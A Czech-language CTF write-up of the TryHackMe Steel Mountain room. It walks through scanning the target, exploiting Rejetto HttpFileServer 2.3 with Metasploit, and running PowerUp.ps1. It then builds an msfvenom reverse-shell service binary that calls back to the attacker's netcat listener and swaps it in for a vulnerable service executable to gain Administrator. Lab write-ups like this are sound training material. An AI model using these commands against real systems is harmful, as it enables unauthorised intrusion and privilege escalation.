Steel Mountain
Write-Up úlohy Steel Mountain
Steel Mountain
- TryHackMe LINK
Rozhodl jsme si zkrátit čas touto zajímavou místností na platformě THM, jelikož je již poměrně stará, tak se na ni vyskytuje i spoustu write-upů. Těm jsem se primárně chtěl vyhnout a vyhýbal do poslední chvíle, než jsem narazil na chybu na svém Parrot systému, následně jsem pochopil dle jednoho z write-upu, kterým směrem se vydat a zjistil jsem, že vlastně daný návod ani nefunguje jak má. To se stalo taky důvodem vzniku tohoto příspěvku. Pro ty, kteří se náhodou zasekli. Chtěli se posunout dál, ale ani s write-upem se jim to nedaří, jsou zde správně.
Skenování
Jak již bývá zvykem, spustíme stroj, získáme IP adresu, zapneme VPN a jdeme hledat. Z minulých CTF a challenges se mi osvědčilo skenovat hlasitě, ale více důsledně. Abychom zamezili tomu, že přehlídneme nějakou důležitou službu, která se schovává na vyšším portu.
1
nmap -p- VM_IP
V mém případě jsem získal.:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
└──╼ $nmap -p- 10.10.159.198
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-25 11:08 CET
Nmap scan report for 10.10.159.198
Host is up (0.049s latency).
Not shown: 65520 closed tcp ports (conn-refused)
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
5985/tcp open wsman
8080/tcp open http-proxy
47001/tcp open winrm
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49162/tcp open unknown
49163/tcp open unknown
Identifikace služeb
V tuto chvíli mě zaujaly porty hlavně 80
a 8080
.
- Po průzkumu prvního portu si automaticky můžeme odpovědět na otázku “Kdo je pracovníkem měsíce.”
- Při bližším pohledu na obrázek zjistíme více.
V druhé řadě je zajímavým portem
8080
.
- Při bližším pohledu na obrázek zjistíme více.
V druhé řadě je zajímavým portem
- Tady najdeme file-system manager: HttpFileServer 2.3
Metasploit
- Spuštění metasploit:
msfconsole
- Hledání daného exploitu a zvolení z r.2014:
search rejetto
ause 1
- Zobrazení možností, které je potřeba nastavit
show options
- Změnit:
1 2 3 4
set rhost VM_IP set rport 8080 set LHOST MOJE_VPN_IP exploit
- Přesun v adresáři na plochu uživatele bill:
cd C:/Users/bill/Desktop
- Tady si odbavíme další úkoly z THM
- ekvivalent
cat
ve win jetype
;)
Privilege escalation
- Potřebujeme PowerUp.ps1
- Lze stáhnout zde GitHub
- Přes metasploit pak můžeme nahrát na cílové zařízení
Nahrátí PowerUp.ps1
na cílové zařízení:
1
upload /home/parrot/Download/PowerUp.ps1
- Tím nahrajeme do aktuálního adresáře daný skript, nebo definujeme, kam jej chceme nahrát.
PowerUp.ps1
Potřebujeme nějakým způsobem spustit, ale prvně potřebujeme přes meterpreter
spustit powershell
tzn. v metasploit:
1
2
load powershell
powershell_shell
Pozor,
PowerUp.ps1
se spouští pomocí dot-sourcingu zdroj tzn.:
1 2 . .\PowerUp.ps1 Invoke-AllChecks
- Kdyby se spustil přímo jako
.\PowerUp.ps1
tak by nedošlo k výpisu výsledků !
Získáme výpis potenciálních možností privilege escalation.:
Výstup z PowerUp.ps1
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
ServiceName : AdvancedSystemCareService9
Path : C:\Program Files (x86)\IObit\Advanced
SystemCare\ASCService.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users;
Permissions=AppendData/AddSubdirectory}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'AdvancedSystemCareService9' -Path
<HijackPath>
CanRestart : True
Name : AdvancedSystemCareService9
Check : Unquoted Service Paths
ServiceName : AdvancedSystemCareService9
Path : C:\Program Files (x86)\IObit\Advanced
SystemCare\ASCService.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users;
Permissions=WriteData/AddFile}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'AdvancedSystemCareService9' -Path
<HijackPath>
CanRestart : True
Name : AdvancedSystemCareService9
Check : Unquoted Service Paths
ServiceName : AdvancedSystemCareService9
Path : C:\Program Files (x86)\IObit\Advanced
SystemCare\ASCService.exe
ModifiablePath : @{ModifiablePath=C:\Program Files (x86)\IObit;
IdentityReference=STEELMOUNTAIN\bill;
Permissions=System.Object[]}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'AdvancedSystemCareService9' -Path
<HijackPath>
CanRestart : True
Name : AdvancedSystemCareService9
Check : Unquoted Service Paths
ServiceName : AdvancedSystemCareService9
Path : C:\Program Files (x86)\IObit\Advanced
SystemCare\ASCService.exe
ModifiablePath : @{ModifiablePath=C:\Program Files (x86)\IObit\Advanced
SystemCare\ASCService.exe;
IdentityReference=STEELMOUNTAIN\bill;
Permissions=System.Object[]}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'AdvancedSystemCareService9' -Path
<HijackPath>
CanRestart : True
Name : AdvancedSystemCareService9
Check : Unquoted Service Paths
Z toho výstupu co vidíme, lze usoudit, že:
CanRestart : True
Znamená, že jsme schopni restartovat danou službu/aplikaci.ModifiablePath
Značí že můžeme přepsat takovou aplikaci?
Generování malicious binárky
THM Hovoří o tom, že mámet pro vytvoření reverse shell použít tento příkaz.:
1
msfvenom -p windows/shell_reverse_tcp LHOST=CONNECTION_IP LPORT=4443 -e x86/shikata_ga_nai -f exe-service -o Advanced.exe
Což samo o sobě je správně, až na to, že jej zbytečně pojmenovává jako -o Advanced.exe
když se už může jmenovat rovnou ASCService.exe
, zbytečně to přidává krok navíc s přejmenováním.
LHOST
je samozřejmě naše VPN IP
Listener
- zároveň si na novém tabu terminálu můžeme už rozjet listener
nc -lnvp 4443
a čekat na příchozí spojení
Ukončení a spuštění service AdvancedSystemCareService9
Protože zde se nejvíce rozcházel write-up, který jsem našel, tak bylo potřeba zvolit jinou cestu.
Původně návod uvádí, že službu vypneme jednoduše pomocí:
1
sc stop AdvancedSystemCareService9
Což nefunguje a po ověření Get-Service -name "Advanced*"
zjistíme, že je služba stále: Running
Naštěstí funguje násilné ukončení:
1
Stop-Service -Name AdvancedSystemCareService9 -Force
V tuto chvíli nám nebrání běžící proces a můžeme konečně naši malicious binárku ASCService.exe
přesunout z \Desktop
na požadované místo a nahradit tak tu původní.:
1
copy ASCService.exe "\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe"
Nyní přijde na řadu opětovné spuštění služby AdvancedSystemCareService9
To opět nefunguje, jak zmiňuje write-up pomocí.:
sc start AdvancedSystemCareService9
Identifikace služby, a proč nám nejde vlastně spustit …
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
PS > Get-Service -Name AdvancedSystemCareService9 | Format-List *
Name : AdvancedSystemCareService9
RequiredServices : {}
CanPauseAndContinue : False
CanShutdown : False
CanStop : False
DisplayName : Advanced SystemCare Service 9
DependentServices : {}
MachineName : .
ServiceName : AdvancedSystemCareService9
ServicesDependedOn : {}
ServiceHandle :
Status : Stopped
ServiceType : Win32OwnProcess, InteractiveProcess
Site :
Container :
Vidíme, že služba AdvancedSystemCareService9
je protected proces.
Zakazuje tak přístup přes SCM = Service Control Manager, tzn. že ji neukončíme čistě příkazem sc stop AdvancedSystemCareService9
a ani nespustíme.
Nezbývá nám než spustit přímo nový proces.:
1
Start-Process "C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe"
Nechápu, jak to předtím mohlo fungovat tak jednoduše, je to potřeba řešit takhle, možná se v průběhu virtuálka změnila ???
V tuto chvíli by jsme měli získat zpětné volání na náš poslouchající netcat
a měli by jsme zde mít oprávnění Administrator
, s jistou znalostí již získáme i odpověď na další otázku, kdy potřebné údaje jsou v C:\Users\Administrator\Desktop
.